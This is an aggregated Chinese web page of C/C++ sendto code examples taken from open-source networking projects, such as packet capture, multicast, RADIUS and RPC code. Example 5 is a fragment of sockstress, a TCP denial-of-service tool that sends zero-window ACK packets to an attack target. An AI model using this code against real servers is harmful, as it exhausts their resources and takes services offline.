• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ sendto函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中sendto函数的典型用法代码示例。如果您正苦于以下问题:C++ sendto函数的具体用法?C++ sendto怎么用?C++ sendto使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了sendto函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: main


//.........这里部分代码省略.........
		perror("socket(DIVERT)");
		exit(2);
	}
	sd = r;

	sin.sin_port = htons(portnum);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = INADDR_ANY;

	if (bind(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
		perror("bind(divert)");
		exit(3);
	}

	p = pcap_open_dead(DLT_RAW, BUFMAX);
	dp = pcap_dump_open(p, dumpf);
	if (dp == NULL) {
		pcap_perror(p, dumpf);
		exit(4);
	}

	okay(portnum);

	nfd = sd + 1;
	for (;;) {
		FD_ZERO(&rds);
		FD_SET(sd, &rds);

		r = select(nfd, &rds, NULL, NULL, NULL);
		if (r == -1) {
			if (errno == EINTR) continue;
			perror("select");
			quit(11);
		}

		if (!FD_ISSET(sd, &rds))
			/* hmm. no work. */
			continue;

		/*
		 * use recvfrom(3 and sendto(3) as in natd(8).
		 * see /usr/src/sbin/natd/natd.c
		 * see ipfw(8) about using 'divert' and 'tee'.
		 */

		/*
		 * read packet.
		 */
		l = sizeof(sin);
		nr = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *)&sin, &l);
if (debug) fprintf(stderr, "recvfrom(%d) = %zd (%d)\n", sd, nr, l);
		if (nr < 0 && errno != EINTR) {
			perror("recvfrom(sd)");
			quit(12);
		}
		if (nr <= 0) continue;

		if (reflect) {
			/*
			 * write packet back so it can continue
			 * being processed by any further IPFW rules.
			 */
			l = sizeof(sin);
			r = sendto(sd, buf, nr, 0, (struct sockaddr *)&sin, l);
if (debug) fprintf(stderr, "  sendto(%d) = %d\n", sd, r);
			if (r < 0) { perror("sendto(sd)"); quit(13); }
		}

		/*
		 * check maximums, if any.
		 * but don't quit if must continue reflecting packets.
		 */
		if (maxpkts) {
			totpkts++;
			if (totpkts > maxpkts) {
				if (reflect == 1) continue;
				quit(0);
			}
		}
		if (maxbytes) {
			totbytes += nr;
			if (totbytes > maxbytes) {
				if (reflect == 1) continue;
				quit(0);
			}
		}

		/*
		 * save packet in tcpdump(1) format. see pcap(3).
		 * divert packets are fully assembled. see ipfw(8).
		 */
		(void) gettimeofday(&(phd.ts), NULL);
		phd.caplen = phd.len = nr;
		pcap_dump((u_char *)dp, &phd, buf);
		if (ferror((FILE *)dp)) { perror(dumpf); quit(14); }
		(void) fflush((FILE *)dp);
	}

	quit(0);
}
开发者ID:FreeBSDFoundation,项目名称:freebsd,代码行数:101,代码来源:ipfwpcap.c


示例2: main

int main()
{
  int s, len, nbytes, one = 1;
  static struct sockaddr_in sin;
  static struct ip_mreq imr;
  char  buf[100];

  if ((s = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
  {
    perror("socket");
    return 1;
  }

  if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, (char *) &one, sizeof (one)) == -1)
  {
    perror("setsockopt: SO_REUSEADDR");
    exit(1);
  }

#ifdef SO_REUSEPORT
  /*
   * This must be added for OSF1 v2.x (and BSD 4.3)
   */
  if (setsockopt (s, SOL_SOCKET, SO_REUSEPORT, (char *) &one, sizeof (one)) == -1) 
  {
    perror("setsockopt: SO_REUSEADDR");
    exit(1);
  }
#endif

  sin.sin_family = AF_INET;
  sin.sin_port   = htons (PORT);
  sin.sin_addr.s_addr = htonl (INADDR_ANY);
  if (bind (s, (struct sockaddr *) & sin, sizeof (sin)) == -1) 
  {
    perror ("bind");
    return 1;
  }

  /*
   * the original posting was = htonl(inet_addr (GROUP)) 
   * which is wrong.
   *
   * Send greeting message to multicast group: 
   */
  sin.sin_addr.s_addr = inet_addr (GROUP);
  if (sendto (s, "Hi!", 4, 0, (struct sockaddr *) & sin, sizeof (sin)) == -1) 
  {
    perror("socket");
    return 1;
  }

  /*
   * Join the group: 
   * IP multicast address of group:
   * local IP address of interface:
   */ 
  imr.imr_multiaddr = sin.sin_addr;
  imr.imr_interface.s_addr = htonl (INADDR_ANY);

  if (setsockopt (s, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char *) &imr, sizeof (imr)) == -1)
  {
    /*
     * The original posting did not include this:
     * [email protected] (Torsten Kerschat) stated:
     * Using setsockopt again with the same options on the
     * same socket would fail, although it is correct. Therefore:
     */
    if (errno != EADDRINUSE)
    {
      perror("setsockopt: IPPROTO_IP, IP_ADD_MEMBERSHIP");
      return 1;
    }

  }

  /*
   * Listen for greeting messages sent to the multicast group: 
   */
  while (1)
  {
    len = sizeof (sin);
    if ((nbytes = recvfrom(s, buf, 100, 0, (struct sockaddr *) &sin, &len)) == -1)
    {
      perror ("recvfrom");
      return 1;
    }

    printf ("%s:\t%.*s\n", inet_ntoa (sin.sin_addr), nbytes, buf);
  }
  /* NOTREACHED */
}
开发者ID:MagnusTiberius,项目名称:code,代码行数:92,代码来源:multicast.c


示例3: main


//.........这里部分代码省略.........
		ntohs(((struct sockaddr_in *) listen_sa)->sin_port);
	printf("getsockname(%d<TCP:[127.0.0.1:%u]>, {sa_family=AF_INET"
	       ", sin_port=htons(%u), sin_addr=inet_addr(\"127.0.0.1\")}"
	       ", [%u]) = 0\n",
	       listen_fd, listen_port, listen_port, (unsigned) *len);

	TAIL_ALLOC_OBJECT_CONST_PTR(unsigned int, optval);
	*len = sizeof(*optval);
	if (getsockopt(listen_fd, SOL_TCP, TCP_MAXSEG, optval, len))
		perror_msg_and_fail("getsockopt");
	printf("getsockopt(%d<TCP:[127.0.0.1:%u]>, SOL_TCP, TCP_MAXSEG"
	       ", [%u], [%u]) = 0\n",
	       listen_fd, listen_port, *optval, (unsigned) *len);

	const int connect_fd = socket(AF_INET, SOCK_STREAM, 0);
	if (connect_fd < 0)
		perror_msg_and_fail("socket");
	const unsigned long connect_inode = inode_of_sockfd(connect_fd);
	printf("socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = %d<TCP:[%lu]>\n",
	       connect_fd, connect_inode);

	*len = sizeof(addr);
	if (connect(connect_fd, listen_sa, *len))
		perror_msg_and_fail("connect");
	printf("connect(%d<TCP:[%lu]>, {sa_family=AF_INET, sin_port=htons(%u)"
	       ", sin_addr=inet_addr(\"127.0.0.1\")}, %u) = 0\n",
	       connect_fd, connect_inode, listen_port, (unsigned) *len);

	struct sockaddr * const accept_sa = tail_alloc(sizeof(addr));
	memset(accept_sa, 0, sizeof(addr));
	*len = sizeof(addr);
	const int accept_fd = accept(listen_fd, accept_sa, len);
	if (accept_fd < 0)
		perror_msg_and_fail("accept");
	const unsigned int connect_port =
		ntohs(((struct sockaddr_in *) accept_sa)->sin_port);
	printf("accept(%d<TCP:[127.0.0.1:%u]>, {sa_family=AF_INET"
	       ", sin_port=htons(%u), sin_addr=inet_addr(\"127.0.0.1\")}"
	       ", [%u]) = %d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>\n",
	       listen_fd, listen_port, connect_port, (unsigned) *len,
	       accept_fd, listen_port, connect_port);

	memset(accept_sa, 0, sizeof(addr));
	*len = sizeof(addr);
	if (getpeername(accept_fd, accept_sa, len))
		perror_msg_and_fail("getpeername");
	printf("getpeername(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>"
	       ", {sa_family=AF_INET, sin_port=htons(%u)"
	       ", sin_addr=inet_addr(\"127.0.0.1\")}, [%u]) = 0\n",
	       accept_fd, listen_port, connect_port, connect_port,
	       (unsigned) *len);

	memset(listen_sa, 0, sizeof(addr));
	*len = sizeof(addr);
	if (getpeername(connect_fd, listen_sa, len))
		perror_msg_and_fail("getpeername");
	printf("getpeername(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>"
	       ", {sa_family=AF_INET, sin_port=htons(%u)"
	       ", sin_addr=inet_addr(\"127.0.0.1\")}, [%u]) = 0\n",
	       connect_fd, connect_port, listen_port, listen_port,
	       (unsigned) *len);

	*len = sizeof(*optval);
	if (setsockopt(connect_fd, SOL_TCP, TCP_MAXSEG, optval, *len))
		perror_msg_and_fail("setsockopt");
	printf("setsockopt(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>"
	       ", SOL_TCP, TCP_MAXSEG, [%u], %u) = 0\n",
	       connect_fd, connect_port, listen_port, *optval,
	       (unsigned) *len);

	char text[] = "text";
	assert(sendto(connect_fd, text, sizeof(text) - 1,
	       MSG_DONTROUTE | MSG_DONTWAIT, NULL, 0) == sizeof(text) - 1);
	printf("sendto(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>, \"%s\", %u"
	       ", MSG_DONTROUTE|MSG_DONTWAIT, NULL, 0) = %u\n",
	       connect_fd, connect_port, listen_port, text,
	       (unsigned) sizeof(text) - 1, (unsigned) sizeof(text) - 1);

	assert(close(connect_fd) == 0);
	printf("close(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>) = 0\n",
	       connect_fd, connect_port, listen_port);

	assert(recvfrom(accept_fd, text, sizeof(text) - 1, MSG_WAITALL,
			NULL, NULL) == sizeof(text) - 1);
	printf("recvfrom(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>, \"%s\", %u"
	       ", MSG_WAITALL, NULL, NULL) = %u\n",
	       accept_fd, listen_port, connect_port, text,
	       (unsigned) sizeof(text) - 1, (unsigned) sizeof(text) - 1);

	assert(close(accept_fd) == 0);
	printf("close(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>) = 0\n",
	       accept_fd, listen_port, connect_port);

	assert(close(listen_fd) == 0);
	printf("close(%d<TCP:[127.0.0.1:%u]>) = 0\n",
	       listen_fd, listen_port);

	puts("+++ exited with 0 +++");
	return 0;
}
开发者ID:lineprinter,项目名称:strace,代码行数:101,代码来源:net-yy-inet.c


示例4: send

/*****************************************************************************
  Function:
	int send( SOCKET s, const char* buf, int len, int flags )
	
  Summary:
	The send function is used to send outgoing data on an already
	connected socket.

  Description:
	The send function is used to send outgoing data on an already
	connected socket. This function is used to send a reliable,
	ordered stream of data bytes on a socket of type SOCK_STREAM
	but can also be used to send datagrams on a socket of type SOCK_DGRAM.

  Precondition:
	connect function should be called for TCP and UDP sockets.
	Server side, accept function should be called.

  Parameters:
	s - Socket descriptor returned from a previous call to socket.
	buf - application data buffer containing data to transmit.
	len - length of data in bytes.
	flags - message flags. Currently this field is not supported.

  Returns:
	On success, send returns number of bytes sent. In case of
	error, returns SOCKET_ERROR. a zero indicates no data send.

  Remarks:
	None.
  ***************************************************************************/
int send( SOCKET s, const char* buf, int len, int flags )
{
	return sendto(s, buf, len, flags, NULL, 0);
}
开发者ID:whiteway11890,项目名称:PIC32_Dev,代码行数:35,代码来源:BerkeleyAPI.c


示例5: send_ack

void send_ack(unsigned char *packet)
{
    if(DEBUG_MODE)
        printf("[d] ---SENDING ACK...\n");
    static int s_out = -1;

    if(s_out == -1)
    {
        if(DEBUG_MODE)
            printf("[d] Initializing ACK socket...\n");
        s_out = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if(s_out < 0)
        {
            perror("[!] Error creating socket to send ACK/SYNACK");
            exit(-1);
        }
        if(bind(s_out, (struct sockaddr*)&globalArgs.iface_addr, sizeof(struct sockaddr_in)) == -1)
        {
            perror("[!] Error binding socket to send ACK/SYNACK");
            exit(-1);
        }
    }

    struct sockaddr_in attack_addr;
    attack_addr.sin_family = AF_INET;
    attack_addr.sin_addr = globalArgs.attack_ip;

    struct ip_header *ip = (struct ip_header*)packet;
    struct tcp_header *synack = (struct tcp_header*)(packet + 4*(ip->ver_ihl & 0x0F));

    unsigned char reply[sizeof(struct tcp_header) + MAX_PAYLOAD_SIZE];
    struct tcp_header *ack = (struct tcp_header*)reply;
    ack->src_port = synack->dest_port;
    ack->dest_port = synack->src_port;
    ack->ack = synack->seq; // Only add 1 if it's a synack (done below)
    ack->seq = synack->ack; 

    ack->off_res_flags = 0;
    // set data offset
    ack->off_res_flags |= htons(0x6000);
    // set ack flag
    ack->off_res_flags |= htons(0x0010);

    ack->window = 0; // zero window to make the other side wait
    ack->urg_ptr = 0;
    ack->opts_pad = 0;

    // If the received packet is a SYNACK, attach the payload
    unsigned long packet_size = sizeof(struct tcp_header);
    if(synack->off_res_flags & htons(0x0010) && synack->off_res_flags & htons(0x0002))
    {
        ack->ack = htonl(ntohl(synack->seq) + 1);
        ack->seq = synack->ack;
        memcpy(reply + sizeof(struct tcp_header), globalArgs.payload, globalArgs.payload_size);
        packet_size += globalArgs.payload_size;
    }

    calc_tcp_checksum(reply, packet_size, globalArgs.iface_addr.sin_addr, attack_addr.sin_addr);
    int ret = sendto(s_out, reply, packet_size, 0,
            (struct sockaddr*)&attack_addr, sizeof(struct sockaddr_in));
    if(ret == -1)
        perror("[!] Error sending ACK/SYNACK packet");
}
开发者ID:KiteGh0st,项目名称:opparis,代码行数:63,代码来源:sockstress.c


示例6: main

int main(void)
{
	int sfd, n;
	char buf[1024];
	usr_t *p;
	socklen_t len;
	struct sockaddr_in cli_addr;

	get_usr_info("usr_info.txt");
	sfd = sock_init(8000, "127.0.0.1");

	while (1) {
		len = sizeof(struct sockaddr_in);
		n = recvfrom(sfd, buf, 1024, 0,
				(struct sockaddr *)&cli_addr, &len);
		buf[n] = '\0';

		if (strncmp(buf, "syn", 3) == 0) { /* login */
			char *name;

			name = strstr(buf, " ");		/* 客户端数据格式 "syn usr_name"*/
			name++;
			p = search_by_name(name);
			if (p == NULL)
				sendto(sfd, "fail", strlen("fail"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			else {
				p->is_online = 1;
				p->addr = cli_addr;
				sendto(sfd, "OK", strlen("OK"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			}
#ifdef DEBUG
			print();
#endif
		} else if (strncmp(buf, "fin", 3) == 0) {/* logout */
			char *name;

			name = strstr(buf, " ");
			name++;
			p = search_by_name(name);
			if (p == NULL)
				sendto(sfd, "fail", strlen("fail"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			else {
				p->is_online = 0;
				memset(&p->addr, 0, sizeof(p->addr));
				sendto(sfd, "OK", strlen("OK"), 0,
						(struct sockaddr *)&cli_addr,
						sizeof(cli_addr));
			}
#ifdef DEBUG
			print();
#endif
		} else {					   	/* somebody talk */
			char msg[32];

			p = search_by_addr(&cli_addr);
			if (p == NULL)
				continue;

			sprintf(msg, "%s say: ", p->usr_name);
			for (p = head; p != NULL; p = p->next) {		/* 广播 */
				if (p->is_online) {						
					n = sendto(sfd, msg, strlen(msg), 0,
							(struct sockaddr *)&p->addr, 
							sizeof(p->addr));
					n = sendto(sfd, buf, strlen(buf), 0,
							(struct sockaddr *)&p->addr,
							sizeof(p->addr));
				}
			}
		}
		printf("one data over...\n");
	}

	destroy();

	return 0;
}
开发者ID:wxiaodong0829,项目名称:aka_edu_learned,代码行数:83,代码来源:chat_room.c


示例7: main

int main(int argc, char **argv)
{
	struct sockaddr_in from, to, in;
	char buf[TESTLEN];
	char *destip = DESTIP;
	int port = DEF_PORT;
	int n, server_socket, client_socket, fl, tl, pid;

	if (argc > 1)
		destip = argv[1];
	if (argc > 2)
		port = atoi(argv[2]);

	in.sin_family = AF_INET;
#ifdef NEED_SIN_LEN
	in.sin_len = sizeof( struct sockaddr_in );
#endif
	in.sin_addr.s_addr = INADDR_ANY;
	in.sin_port = htons(port);
	fl = tl = sizeof(struct sockaddr_in);
	memset(&from, 0, sizeof(from));
	memset(&to,   0, sizeof(to));

	pid = fork();
	switch (pid) {
	case -1:
		perror("fork");
		return 0;

	case 0:
		/* child: client */
		usleep(100000);	/* ??? why? */
		close(server_socket);
		client_socket = safe_socket(PF_INET, SOCK_DGRAM, 0);
		if (udpfromto_init(client_socket) != 0) {
			perror("udpfromto_init");
			_exit(0);
		}
		/* bind client on different port */
		in.sin_port = htons(port + 1);
		if (bind(client_socket, (struct sockaddr *)&in, sizeof(in)) < 0) {
			perror("client: bind");
			_exit(0);
		}

		in.sin_port = htons(port);
		in.sin_addr.s_addr = inet_addr(destip);

		printf("client: sending packet to %s:%d\n", destip, port);
		if (sendto(client_socket, TESTSTRING, TESTLEN, 0,
			   (struct sockaddr *)&in, sizeof(in)) < 0) {
			perror("client: sendto");
			_exit(0);
		}

		printf("client: waiting for reply from server on INADDR_ANY:%d\n",
		       port + 1);

		if ((n = recvfromto(client_socket, buf, sizeof(buf), 0,
				    (struct sockaddr *)&from, &fl,
				    (struct sockaddr *)&to, &tl)) < 0) {
			perror("client: recvfromto");
			_exit(0);
		}

		printf("client: received a packet of %d bytes [%s] ", n, buf);
		printf("(src ip:port %s:%d",
		       inet_ntoa(from.sin_addr), ntohs(from.sin_port));
		printf(" dst ip:port %s:%d)\n",
		       inet_ntoa(to.sin_addr), ntohs(to.sin_port));

		_exit(0);

	default:
		/* parent: server */
		server_socket = safe_socket(PF_INET, SOCK_DGRAM, 0);
		if (udpfromto_init(server_socket) != 0) {
			perror("udpfromto_init\n");
			waitpid(pid, NULL, WNOHANG);
			return 0;
		}

		if (bind(server_socket, (struct sockaddr *)&in, sizeof(in)) < 0) {
			perror("server: bind");
			waitpid(pid, NULL, WNOHANG);
			return 0;
		}

		printf("server: waiting for packets on INADDR_ANY:%d\n", port);
		if ((n = recvfromto(server_socket, buf, sizeof(buf), 0,
				    (struct sockaddr *)&from, &fl,
				    (struct sockaddr *)&to, &tl)) < 0) {
			perror("server: recvfromto");
			waitpid(pid, NULL, WNOHANG);
			return 0;
		}

		printf("server: received a packet of %d bytes [%s] ", n, buf);
		printf("(src ip:port %s:%d ",
		       inet_ntoa(from.sin_addr), ntohs(from.sin_port));
//.........这里部分代码省略.........
开发者ID:jgimenez,项目名称:libreswan,代码行数:101,代码来源:udpfromto.c


示例8: udp_send

int udp_send(connection_t *con, const void *buf, size_t buflen) {
    return sendto(con->socket, buf, buflen, UDP_FLAGS, (struct sockaddr *)&con->addr, con->addr_len);
}
开发者ID:kepta,项目名称:chat,代码行数:3,代码来源:library.c


示例9: make_remote_call

/**
 * This is used by the client application program to invoke a remote method. 
 * @param  char *   name or IP address of the server to connect to
 * @param  int      port number to connect to on the server
 * @param  char *   name of the procedure to call
 * @param  int      number of parameters sent to the remote method
 * @param  ...      For each of the nparams parameters, we have two arguments:
 *                  <size of the argument,(void *) to the argument>
 * @return          the return value of the remote procedure call with the 
 *                  correct type
 */
return_type make_remote_call(   const char *servernameorip,
                                const int serverportnumber,
                                const char *procedure_name,
                                const int nparams,
                                ...) {
    // setup UDP connection here
    struct sockaddr_in server;
    socklen_t len = sizeof(struct sockaddr_in);
    char buf[BUF_SIZE];
    struct hostent *host;
    int n, s;

    host = gethostbyname(servernameorip);
    if(host == NULL) {
        // Hostname not found
        perror("gethostbyname");
        return_type *return_error = malloc(sizeof(*return_error));
        int zero_size = 0;
        memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
        return_error->return_val = malloc(return_error->return_size);
        memcpy( return_error->return_val, 
                NULL, 
                return_error->return_size);
        return *return_error;
    }

    // initialize socket
    if((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
        // Error with socket
        perror("socket");
        return_type *return_error = malloc(sizeof(*return_error));
        int zero_size = 0;
        memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
        return_error->return_val = malloc(return_error->return_size);
        memcpy( return_error->return_val, 
                NULL, 
                return_error->return_size);
        close(s);
        return *return_error;
    }

    //initialize server addr
    memset((char *) &server, 0, sizeof(struct sockaddr_in));
    server.sin_family = AF_INET;
    server.sin_port = htons(serverportnumber);
    server.sin_addr = *((struct in_addr*) host->h_addr);

    // construct procedure_call buffer
    char procedure_call[BUF_SIZE];
    void * index = procedure_call;

    // copy name of the procedure into procedure_call
    strcpy(index, procedure_name);
    index += strlen(procedure_name)+1;

    // copy number of params into procedure_call
    memcpy((void *)(index), (void *)&nparams, sizeof(int));
    index += sizeof(int);

    // populating list of arguments into procedure_call
    va_list arguments;
    va_start(arguments, nparams);
    int i;
    for(i = 0; i < nparams; ++i) {
        int arg_size = va_arg(arguments, int); 
        memcpy((void *)(index), (void *)&arg_size, sizeof(int));
        index += sizeof(int);

        void * arg = va_arg(arguments, void *); 
        memcpy((void *)(index), (void *)arg, arg_size);
        index += arg_size;
    }
    
    // send message
    if(sendto(  s,
                procedure_call,
                sizeof(procedure_call),
                0,
                (struct sockaddr *) &server,
                len) == -1) {
        perror("sendto()");
        return_type *return_error = malloc(sizeof(*return_error));
        int zero_size = 0;
        memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
        return_error->return_val = malloc(return_error->return_size);
        memcpy( return_error->return_val, 
                NULL, 
                return_error->return_size);
        close(s);
//.........这里部分代码省略.........
开发者ID:vcoste,项目名称:ece454,代码行数:101,代码来源:client_stub.c


示例10: rc_send_server


//.........这里部分代码省略.........
	/* Build a request */
	auth = (AUTH_HDR *) send_buffer;
	auth->code = data->code;
	auth->id = data->seq_nbr;

	if (data->code == PW_ACCOUNTING_REQUEST)
	{
		total_length = rc_pack_list(data->send_pairs, secret, auth) + AUTH_HDR_LEN;

		auth->length = htons ((unsigned short) total_length);

		memset((char *) auth->vector, 0, AUTH_VECTOR_LEN);
		secretlen = strlen (secret);
		memcpy ((char *) auth + total_length, secret, secretlen);
		rc_md5_calc (vector, (unsigned char *) auth, total_length + secretlen);
		memcpy ((char *) auth->vector, (char *) vector, AUTH_VECTOR_LEN);
	}
	else
	{
		rc_random_vector (vector);
		memcpy ((char *) auth->vector, (char *) vector, AUTH_VECTOR_LEN);

		total_length = rc_pack_list(data->send_pairs, secret, auth) + AUTH_HDR_LEN;

		auth->length = htons ((unsigned short) total_length);
	}

	DEBUG(LOG_ERR, "DEBUG: local %s : 0, remote %s : %u\n", 
		inet_ntoa(sinlocal.sin_addr),
		inet_ntoa(sinremote.sin_addr), data->svc_port);

	for (;;)
	{
		sendto (sockfd, (char *) auth, (unsigned int) total_length, (int) 0,
			SA(&sinremote), sizeof (struct sockaddr_in));

		pfd.fd = sockfd;
		pfd.events = POLLIN;
		pfd.revents = 0;
		start_time = rc_getctime();
		for (timeout = data->timeout; timeout > 0;
		    timeout -= rc_getctime() - start_time) {
			result = poll(&pfd, 1, timeout * 1000);
			if (result != -1 || errno != EINTR)
				break;
		}
		if (result == -1)
		{
			rc_log(LOG_ERR, "rc_send_server: poll: %s", strerror(errno));
			memset (secret, '\0', sizeof (secret));
			close (sockfd);
			return ERROR_RC;
		}
		if (result == 1 && (pfd.revents & POLLIN) != 0)
			break;

		/*
		 * Timed out waiting for response.  Retry "retry_max" times
		 * before giving up.  If retry_max = 0, don't retry at all.
		 */
		if (retries++ >= retry_max)
		{
			rc_log(LOG_ERR,
				"rc_send_server: no reply from RADIUS server %s:%u, %s",
				 rc_ip_hostname (auth_ipaddr), data->svc_port, inet_ntoa(sinremote.sin_addr));
			close (sockfd);
开发者ID:juriglx,项目名称:freeradius-client,代码行数:67,代码来源:sendserver.c


示例11: vUDPCommandInterpreterTask

/*
 * Task that provides the input and output for the FreeRTOS+CLI command
 * interpreter.  In this case a WinSock UDP port is used for convenience as this
 * demo runs in a simulated environment on a Windows PC.  See the URL in the
 * comments within main.c for the location of the online documentation.
 */
void vUDPCommandInterpreterTask( void *pvParameters )
{
long lBytes, lByte;
signed char cInChar, cInputIndex = 0;
static signed char cInputString[ cmdMAX_INPUT_SIZE ], cOutputString[ cmdMAX_OUTPUT_SIZE ], cLocalBuffer[ cmdSOCKET_INPUT_BUFFER_SIZE ];
portBASE_TYPE xMoreDataToFollow;
volatile int iErrorCode = 0;
struct sockaddr_in xClient;
int xClientAddressLength = sizeof( struct sockaddr_in );
SOCKET xSocket;

	/* Just to prevent compiler warnings. */
	( void ) pvParameters;

	/* Attempt to open the socket. */
	xSocket = prvOpenUDPSocket();

	if( xSocket != INVALID_SOCKET )
	{
		for( ;; )
		{
			/* Wait for incoming data on the opened socket. */
			lBytes = recvfrom( xSocket, cLocalBuffer, sizeof( cLocalBuffer ), 0, ( struct sockaddr * ) &xClient, &xClientAddressLength );

			if( lBytes == SOCKET_ERROR )
			{
				/* Something went wrong, but it is not handled by this simple
				example. */
				iErrorCode = WSAGetLastError();
			}
			else
			{
				/* Process each received byte in turn. */
				lByte = 0;
				while( lByte < lBytes )
				{
					/* The next character in the input buffer. */
					cInChar = cLocalBuffer[ lByte ];
					lByte++;

					/* Newline characters are taken as the end of the command
					string. */
					if( cInChar == '\n' )
					{
						/* Process the input string received prior to the
						newline. */
						do
						{
							/* Pass the string to FreeRTOS+CLI. */
							xMoreDataToFollow = FreeRTOS_CLIProcessCommand( cInputString, cOutputString, cmdMAX_OUTPUT_SIZE );

							/* Send the output generated by the command's
							implementation. */
							sendto( xSocket, cOutputString,  strlen( cOutputString ), 0, ( SOCKADDR * ) &xClient, xClientAddressLength );

						} while( xMoreDataToFollow != pdFALSE ); /* Until the command does not generate any more output. */

						/* All the strings generated by the command processing
						have been sent.  Clear the input string ready to receive
						the next command. */
						cInputIndex = 0;
						memset( cInputString, 0x00, cmdMAX_INPUT_SIZE );

						/* Transmit a spacer, just to make the command console
						easier to read. */
						sendto( xSocket, "\r\n",  strlen( "\r\n" ), 0, ( SOCKADDR * ) &xClient, xClientAddressLength );
					}
					else
					{
						if( cInChar == '\r' )
						{
							/* Ignore the character.  Newlines are used to
							detect the end of the input string. */
						}
						else if( ( cInChar == '\b' ) || ( cInChar == cmdASCII_DEL ) )
						{
							/* Backspace was pressed.  Erase the last character
							in the string - if any. */
							if( cInputIndex > 0 )
							{
								cInputIndex--;
								cInputString[ cInputIndex ] = '\0';
							}
						}
						else
						{
							/* A character was entered.  Add it to the string
							entered so far.  When a \n is entered the complete
							string will be passed to the command interpreter. */
							if( cInputIndex < cmdMAX_INPUT_SIZE )
							{
								cInputString[ cInputIndex ] = cInChar;
								cInputIndex++;
							}
//.........这里部分代码省略.........
开发者ID:afconsult-south,项目名称:dragonfly-fcb,代码行数:101,代码来源:UDPCommandServer.c


示例12: unix_send_one_node

void unix_send_one_node(void *msg, size_t length, int dest)
{
  sendto(sock, (char*) msg, length, 0, (struct sockaddr*) &addresses[dest],
      sizeof(addresses[dest]));
}
开发者ID:schaars,项目名称:kzimp,代码行数:5,代码来源:unix_socket.c


示例13: _tmain

int _tmain(int argc, _TCHAR* argv[])
{
	int ret;

	WSADATA	wsd;
	if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
	{
		printf("can't load winSock library");
		return 0;
	}

	SOCKET sServerListen;
	struct sockaddr_in localaddr, clientaddr;
	int iSize;

	sServerListen = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sServerListen == INVALID_SOCKET)
	{
		printf("can't create socket");
		return 0;
	}
	localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	localaddr.sin_family = AF_INET;
	localaddr.sin_port = htons(6021);

	if (bind(sServerListen, (struct sockaddr *)&localaddr, sizeof(localaddr)) == SOCKET_ERROR)
	{
		printf("can't bind main listen socket");
		return 0;
	}
    
	char buf[256];
	HANDLE hNewThread;

	// в цикле мы слушаем 6021 порт
	while (1)
	{
		printf("listen (port 6021)...\n\r");

		iSize = sizeof(clientaddr);
        ret = recvfrom(sServerListen, buf, 256, 0, (struct sockaddr *)&clientaddr, &iSize);

		if (ret != SOCKET_ERROR)
		{
			// если пришёл запрос на этот порт
			if (buf[0] == '?')
			{
				// отошлём клиенту номер нового порта, с которым он и будет 
				// работать (с нашей стороны это будет поток с новым сокетом)
				char *sPort = new char[8];
				itoa(portN, sPort, 10);
				strcpy(buf, "!");
				strcat(buf, sPort);

				ret = sendto(sServerListen, buf, strlen(buf), 0, (struct sockaddr *)&clientaddr, iSize);

				// и создаём новый поток; поток же в свою 
				// очередь создаёт сокет на этом порту и пишет туда - таким образом
				// мы можем создать одновременно сколько угодно потоков, которые 
				// будут перекачивать файлы клиентам, и не будет конфликта портов)
				hNewThread = CreateThread(NULL, 0, fileTransferThread, NULL, 0, NULL);
				CloseHandle(hNewThread);
			}
		}
    }

    clos
开发者ID:kubaaa,项目名称:SPO_lab3,代码行数:67,代码来源:server.cpp


示例14: connect_server

int connect_server(clientchan **sc,const char *addr,int port)
{
  unsigned int a;
  sock_size_t addrlength;
  mestyp b;
  int timeout;
  struct hostent *hpke;

  *sc = (clientchan *) malloc (sizeof (clientchan));
  if (!*sc) return -1;
  
  (*sc)->fd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  if ((*sc)->fd<0) {
   free((*sc));
   return -2;
  }

  a=1;
  if (ioctl ((*sc)->fd, FIONBIO, &a)) {
    close ((*sc)->fd);
    free((*sc));
    return -3;
  }

  hpke = gethostbyname ( addr );

  if ( hpke == NULL ) {
      return -4;
  }

  (*sc)->my_addr.sin_family      = AF_INET;
  (*sc)->my_addr.sin_port        = htons(0);
  (*sc)->my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  (*sc)->serv_addr.sin_family	 = AF_INET;
  (*sc)->serv_addr.sin_port	 = htons(port);
  (*sc)->serv_addr.sin_addr.s_addr = ((struct in_addr *)hpke->h_addr)->s_addr;

  addrlength = sizeof ((*sc)->my_addr);

  if (bind ((*sc)->fd, (struct sockaddr *)&((*sc)->my_addr), addrlength)) {
    close ((*sc)->fd);
    free((*sc));
    return -5;
  }

  // Set Vars
  (*sc)->qpos=0;
